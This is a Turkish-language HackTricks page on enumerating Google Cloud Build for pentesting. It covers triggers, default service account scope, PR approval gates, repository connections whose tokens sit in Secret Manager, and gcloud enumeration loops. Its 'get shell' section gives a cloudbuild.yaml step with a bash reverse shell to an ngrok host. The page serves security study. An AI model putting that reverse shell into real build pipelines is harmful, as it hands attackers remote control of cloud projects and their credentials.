GCP - Cloud Build Enum

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Google Cloud Build, yazılım derleme ve dağıtım süreçlerini otomatikleştiren yönetilen bir CI/CD platformudur, kaynak kodu depoları ile entegre olur ve geniş bir programlama dili yelpazesini destekler. Geliştiricilerin kodu otomatik olarak derlemesine, test etmesine ve dağıtmasına olanak tanırken, derleme adımlarını ve iş akışlarını özelleştirme esnekliği sağlar.

Her Cloud Build Trigger, bir Cloud Repository ile ilişkilidir veya doğrudan bir dış depo ile bağlantılıdır (Github, Bitbucket ve Gitlab).

Tip

Github/Bitbucket token’ını buradan veya Cloud Repositories’ten çalmanın bir yolunu göremedim çünkü repo indirildiğinde https://source.cloud.google.com/ URL’si üzerinden erişiliyor ve Github istemci tarafından erişilmiyor.

Olaylar

Cloud Build, aşağıdaki durumlarda tetiklenebilir:

  • Bir dala push: Dalı belirtin
  • Yeni bir etiket push: Etiketi belirtin
  • Pull request: PR’yi alan dalı belirtin
  • Manuel İkame
  • Pub/Sub mesajı: Konuyu belirtin
  • Webhook olayı: HTTPS URL’si açılacak ve istek bir gizli anahtar ile kimlik doğrulaması yapılmalıdır

İcra

3 seçenek vardır:

  • İcra edilecek komutları belirten bir yaml/json. Genellikle: /cloudbuild.yaml
  • Web konsolunda ve cli’de “inline” olarak belirtilebilen tek seçenek
  • En yaygın seçenek
  • Kimlik doğrulaması yapılmamış erişim için ilgili
  • Bir Dockerfile oluşturmak için
  • Bir Buildpack oluşturmak için

SA İzinleri

Hizmet Hesabı cloud-platform kapsamına sahiptir, bu nedenle tüm ayrıcalıkları kullanabilir. Eğer hiçbir SA belirtilmemişse (örneğin submit yaparken) varsayılan SA <proj-number>@cloudbuild.gserviceaccount.com kullanılacaktır.

Varsayılan olarak hiçbir izin verilmez ama bazılarını vermek oldukça kolaydır:

Onaylar

Bir Cloud Build’in derleme icraları için onay gerektirecek şekilde yapılandırılması mümkündür (varsayılan olarak devre dışı).

PR Onayları

Tetkik PR olduğunda, çünkü herkes kamu depolarına PR yapabilir, sadece herhangi bir PR ile tetikleyicinin icrasına izin vermek çok tehlikeli olurdu. Bu nedenle, varsayılan olarak, icra yalnızca sahipler ve işbirlikçiler için otomatik olacaktır, ve diğer kullanıcıların PR’leri ile tetikleyiciyi icra etmek için bir sahip veya işbirlikçi /gcbrun yorumunu yapmalıdır.

Bağlantılar & Depolar

Bağlantılar aşağıdakiler üzerinden oluşturulabilir:

  • GitHub: Github token’ı almak için izin isteyen bir OAuth istemi gösterecektir ve bu token Secret Manager içinde saklanacaktır.
  • GitHub Enterprise: Bir GithubApp yüklemesi istenecektir. GitHub Enterprise sunucunuzdan bir kimlik doğrulama token’ı oluşturulacak ve bu proje içinde bir Secret Manager sırrı olarak saklanacaktır.
  • GitLab / Enterprise: API erişim token’ını ve Okuma API erişim token’ını sağlamanız gerekir ve bu token Secret Manager içinde saklanacaktır.

Bir bağlantı oluşturulduğunda, bunu Github hesabının erişim sağladığı depoları bağlamak için kullanabilirsiniz.

Bu seçenek buton aracılığıyla mevcuttur:

Tip

Bu yöntemle bağlantılı depolar yalnızca 2. nesil tetikleyicilerde mevcuttur.

Bir Depoyu Bağla

Bu, bir bağlantı ile aynı değildir. Bu, Github veya Bitbucket deposuna erişim sağlamak için farklı yollar sunar ancak bir bağlantı nesnesi oluşturmaz, ancak bir depo nesnesi (1. nesil) oluşturur.

Bu seçenek buton aracılığıyla mevcuttur:

Depolama

Bazen Cloud Build, tetikleyici için dosyaları saklamak üzere yeni bir depolama alanı oluşturacaktır. Bu, örneğin GCP’nin sunduğu örnekte olduğu gibi gerçekleşir:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Bir .tgz dosyasını depolamak için security-devbox_cloudbuild adlı bir Depolama kovası oluşturulmuştur.

Shell al

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

cloud build içinde gcloud’u kurun:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

Build yapılandırmalarında ve günlüklerde hassas bilgiler bulabilirsiniz.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Yetki Yükseltme

GCP - Cloudbuild Privesc

Kimlik Doğrulaması Olmayan Erişim

GCP - Cloud Build Unauthenticated Enum

Sömürü Sonrası

GCP - Cloud Build Post Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin